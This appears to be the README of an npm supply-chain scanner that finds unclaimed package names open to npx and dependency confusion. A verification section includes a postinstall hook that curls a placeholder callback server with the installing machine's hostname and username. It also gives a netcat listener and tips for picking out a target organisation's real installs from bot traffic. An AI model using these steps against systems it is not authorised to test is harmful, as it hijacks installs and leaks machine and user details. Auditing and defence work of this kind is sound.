npx Confusion Vulnerability Scanner
Find unclaimed npm package names in your supply chain before attackers do.


Based on the original research by Lupin & Holmes, presented at DEF CON 33.

Read the full paper: npx Used Confusion and It's Super Effective

This tool automates the discovery process described in that research — scanning local codebases, GitHub organizations, and web assets for unclaimed npm package names that are exploitable via npx confusion and dependency confusion attacks.


What It Detects

# Vulnerability Severity Description
🔴 npx Confusion CRITICAL An npx <name> invocation in your package.json scripts points to a package unclaimed on npm. An attacker can register that name and achieve RCE on every developer and CI pipeline that runs your scripts.
🔴 Bin Mismatch CRITICAL A scoped package (@scope/pkg) exposes a binary with a different, unscoped name that is unclaimed on npm. Since npm binaries cannot contain /, this mismatch is inherent to scoped packages.
🟡 Dependency Confusion HIGH Private/internal package names (enterprise-scoped packages, file: references) are not registered on the public npm registry. An attacker can publish a package with the same name and hijack installs.
🟠 Name Clash MEDIUM A used package name exists on the public registry but is owned by a different entity — potential typo-squatting or namespace collision worth investigating.

The Attack in 30 Seconds

# Your package.json script:
"scripts": {
  "dev": "npx my-internal-tool --watch"  # ← name is UNCLAIMED on npm
}

# Attacker:
npm publish my-internal-tool  # ← now every `npm run dev` runs attacker code

npxconfuse automates discovery of these unclaimed names across your entire codebase, GitHub organization, and public-facing web assets.


Installation

Requirements: Node.js >= 18

# Run directly (no install needed)
npx npxconfuse scan ./my-project

# Global install
npm install -g npxconfuse

# Local install as dev dependency
npm install --save-dev npxconfuse

Quick Start

# 1. Scan your current project
npxconfuse scan .                    # basic: package.json files
npxconfuse scan . --deep             # thorough: also scans JS bundles

# 2. Scan with JSON output (for CI/CD pipelines)
npxconfuse scan . -o json

# 3. Scan and save results
npxconfuse scan . --save findings.json

# 4. Check a list of package names directly
npxconfuse check names.txt

Usage

scan — Scan a Local Directory

npxconfuse scan <path> [options]

# Basic scan of a project
npxconfuse scan ./my-project

# Deep scan — also parses JS bundles for imports/requires
npxconfuse scan ./my-project --deep

# JSON output to stdout
npxconfuse scan ./my-project -o json

# Save to file
npxconfuse scan ./my-project --save results.csv

What it scans:

  • package.json — scripts (npx invocations), bin field, dependencies

With --deep:

  • JS bundles (*.js, *.mjs, *.cjs) — parses require(), import, and embedded package.json blocks

What it skips:

  • node_modules/, .git/, dist/, build/, .next/, coverage/

github — Scan a GitHub Organization

npxconfuse github <org-name> [options]

# Scan an org (requires GITHUB_TOKEN)
export GITHUB_TOKEN=ghp_your_token_here
npxconfuse github my-company

# Limit to 100 repos
npxconfuse github my-company --max-repos 100

# GitHub Enterprise
npxconfuse github my-company --github-enterprise https://github.internal.example.com

Token requirements:

web — Scan Web Domains

npxconfuse web <domains-file>

# domains.txt — one domain/URL per line:
# example.com
# https://app.example.com
# api.example.org

npxconfuse web domains.txt

Probes each domain for:

  • Exposed /package.json, /package-lock.json
  • JavaScript bundles referenced in <script> tags

check — Direct Package Name Checking

npxconfuse check <names-file>

# names.txt — one package name per line:
# my-internal-tool
# @company/shared-utils
# company-dashboard

npxconfuse check names.txt

Output Formats

Format Flag Best For
Table (default) -o table Interactive terminal use
JSON -o json CI/CD pipelines, jq processing
CSV -o csv Spreadsheets, data analysis

Table Output (default)

┌──────────┬──────────────────┬────────────────┬──────────┬───────────────┬────────────────────────────────┬──────────────┐
│ Severity │ Package           │ Type           │ Registry │ Status        │ Details                        │ Source       │
├──────────┼──────────────────┼────────────────┼──────────┼───────────────┼────────────────────────────────┼──────────────┤
│ CRITICAL │ my-internal-tool  │ npx-confusion  │ npm      │ ⬤ UNCLAIMED  │ Package name is not registered │ package.json │
│ HIGH     │ @company/shared   │ dep-confusion  │ npm      │ ⬤ UNCLAIMED  │ Package name is not registered │ package.json │
│ MEDIUM   │ react             │ name-clash     │ npm      │ ● claimed     │ facebook/react                 │ JS bundle    │
└──────────┴──────────────────┴────────────────┴──────────┴───────────────┴────────────────────────────────┴──────────────┘

  Found 3 issue(s): 1 critical, 1 high, 1 medium

JSON Output

{
  "findings": [
    {
      "name": "my-internal-tool",
      "type": "npx-confusion",
      "registry": "npm",
      "status": "unclaimed",
      "severity": "CRITICAL",
      "sources": ["/project/package.json"],
      "contexts": ["scripts.dev: npx my-internal-tool"]
    }
  ],
  "summary": {
    "total": 1,
    "critical": 1,
    "high": 0,
    "medium": 0,
    "low": 0,
    "info": 0
  }
}

CSV Output

severity,name,type,registry,status,owner,details,sources
CRITICAL,my-internal-tool,npx-confusion,npm,unclaimed,,Package name is not registered,/project/package.json

Options

Option Description Default
-o, --output <format> Output format: table, json, csv table
-c, --concurrency <n> Max parallel registry requests 20
--timeout <ms> HTTP timeout (milliseconds) 10000
--save <filepath> Save results to file (format auto-detected from extension)
-v, --verbose Enable debug logging false

Scan-specific options:

Command Option Description
scan --deep Also parse JS bundles for imports/requires
github --max-repos <n> Maximum repos to scan
github --github-enterprise <url> GitHub Enterprise base URL

Exit Codes

Code Meaning
0 No critical or high findings
2 Critical findings detected (useful for CI/CD `

Verifying Vulnerabilities: Setting Up a Callback Server

Once npxconfuse identifies unclaimed package names, you'll want to verify whether those names are actually being pulled in real environments. Simply claiming the name and publishing a package is not enough — you need to confirm that the package is being downloaded by real CI pipelines or developers.

Step 1: Set Up a Callback Server

Publish a harmless package under the unclaimed name that phones home to a server you control. This lets you observe exactly who is pulling the package and from where.

# 1. Create a directory for the probe package
mkdir probe-package && cd probe-package
npm init -y

# 2. Add a postinstall script that calls back to your server
#    (package.json)
{
  "name": "my-internal-tool",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl -s https://your-callback-server.example.com/$(hostname)/$(whoami)"
  }
}

# 3. Publish to npm
npm publish

Step 2: Deploy a Lightweight Callback Listener

You can use a simple HTTP server, a webhook receiver, or services like:

  • Pipedream — Free tier, instant HTTP endpoints with logging
  • Webhook.site — Instant disposable endpoints, no setup needed
  • ngrok — Expose a local server to the internet
  • Your own VPS with a simple nc -l or Python HTTP server

Example with a one-liner netcat listener:

# On your VPS:
while true; do echo "=== $(date) ===" | nc -l -p 443 -q 1; done

Step 3: Monitor and Filter

Watch your callback logs for incoming requests. Each hit represents a machine that ran npx my-internal-tool or installed the package.


⚠️ Important: Distinguishing Real Pulls from Bots

When you publish a package to npm, you will see immediate download activity. Most of this is not from real targets — it comes from automated systems that mirror or analyze every new npm package.

Common False Positive Sources

Source What It Is Action
npm CDN / mirror bots Replication bots from jsDelivr, unpkg, etc. that cache every package Ignore — these are not your targets
Security scanners Automated tools (Snyk, Socket.dev, etc.) that analyze every new publish Ignore — they are not real installs
Replication services Third-party registries that mirror npm (e.g. npmmirror.com in China) Ignore — these are mirrors, not targets
npm's own download count The download counter on npmjs.com includes all mirror/cache traffic Do not trust download counts as proof

How to Identify Real Pulls

Real pulls come from actual CI environments and developer machines. Look for these signals in your callback data:

Signal Indicates
🟢 CI hostnames (e.g. github-runner-*, circleci-, jenkins-, gitlab-runner-*`) CI pipelines pulling the package
🟢 Corporate hostnames (matches the organization you're testing) Internal developer machines
🟢 Timing alignment — hits coincide with code pushes or scheduled builds Genuine CI activity
🟢 Developer usernames in the callback path (from whoami) Real developer workstations
🟢 Non-standard user agents or IPs from corporate ranges Authentic internal traffic
🔴 Immediate hits from IPs owned by Cloudflare/Fastly/CDN providers Likely mirror bots
🔴 Hits at the exact same second as publish Bots polling the registry feed
  1. Publish your probe package
  2. Ignore the first 24—48 hours of activity — this is predominantly bots and mirrors
  3. After the initial noise settles, look for patterns that match the target organization's:
    • IP ranges
    • Hostname conventions
    • CI provider
    • Working hours / timezone
  4. Only consider hits that correlate with known development activity (commits to repos, CI build triggers)

How It Works

┌──────────────────┐     ┌──────────────────┐     ┌──────────────────┐
│  1. DISCOVERY    │ ──▶ │  2. EXTRACTION   │ ──▶ │  3. ANALYSIS     │
│                  │     │                  │     │                  │
│ • Local FS       │     │ • npx scripts    │     │ • npm registry   │
│ • GitHub API     │     │ • bin fields     │     │ • Severity score │
│ • Web scrape     │     │ • JS imports     │     │ • Owner lookup   │
│ • Direct check   │     │ • dependencies   │     │ • Download stats │
└──────────────────┘     └──────────────────┘     └──────────────────┘
                                                          │
                                                          ▼
                                                ┌──────────────────┐
                                                │  4. REPORTING    │
                                                │                  │
                                                │ • Table / JSON   │
                                                │ • CSV output     │
                                                │ • File export    │
                                                └──────────────────┘

Detection Logic

  1. Discovery — Finds package.json files and JS bundles via filesystem glob, GitHub API, or HTTP probes
  2. Extraction — Parses each file with dedicated extractors:
    • package.json: npx in scripts, bin field, scoped dependencies with file:/workspace: references
    • JS bundles: embedded package.json blocks, require() calls, import statements
  3. Analysis — Deduplicates names across sources and queries the npm registry in parallel, classifying each name as unclaimed, claimed, private, or error
  4. Reporting — Formats results in the chosen output format with severity coloring

Severity Classification

Finding Type Registry Status Severity
npx-confusion unclaimed 🔴 CRITICAL
bin-mismatch unclaimed 🔴 CRITICAL
dependency-confusion unclaimed 🟡 HIGH
Any claimed 🟠 MEDIUM
Any private INFO

Real-World Scenarios

Scenario 1: You run npx in your npm scripts

// package.json
{
  "scripts": {
    "build": "npx my-build-tool --prod",
    "lint": "npx @scope/custom-linter"
  }
}

npxconfuse detects both my-build-tool and the unscoped binary name of @scope/custom-linter if they're unclaimed on npm.

Scenario 2: You use private/internal packages

// package.json
{
  "dependencies": {
    "@mycorp/internal-auth": "file:../packages/auth"
  }
}

If @mycorp/internal-auth is not registered on the public npm registry, an attacker can publish a malicious package with the same name.

Scenario 3: Your web app exposes its package.json

If https://app.example.com/package.json returns your production manifest, an attacker can extract your internal package names. npxconfuse web helps you find this exposure first.


Research Background

This tool operationalizes the vulnerability class described by Lupin & Holmes in their DEF CON 33 research:

Key concepts from the research:

  • npx resolution flow: When npx <binary> cannot find a binary in ./node_modules/.bin/, it falls back to fetching from the public npm registry. If that name is unclaimed, an attacker can register it.
  • Scoped package mismatch: npm binaries cannot contain /, so @scope/pkg must expose an unscoped binary name — creating a natural mismatch exploitable for package takeover.
  • Dependency confusion: If a private package name is not reserved on public registries, an attacker can publish a package with the same name and hijack the resolution chain.
  • Defense: Register placeholder packages for all internal names, use --yes/--no flags with npx, configure scope-to-registry mappings via .npmrc, and audit your package.json scripts for unregistered npx targets.

Security

If you discover a vulnerability in npxconfuse itself, please open an issue or submit a PR responsibly. Do not publish the vulnerability publicly before a fix is available.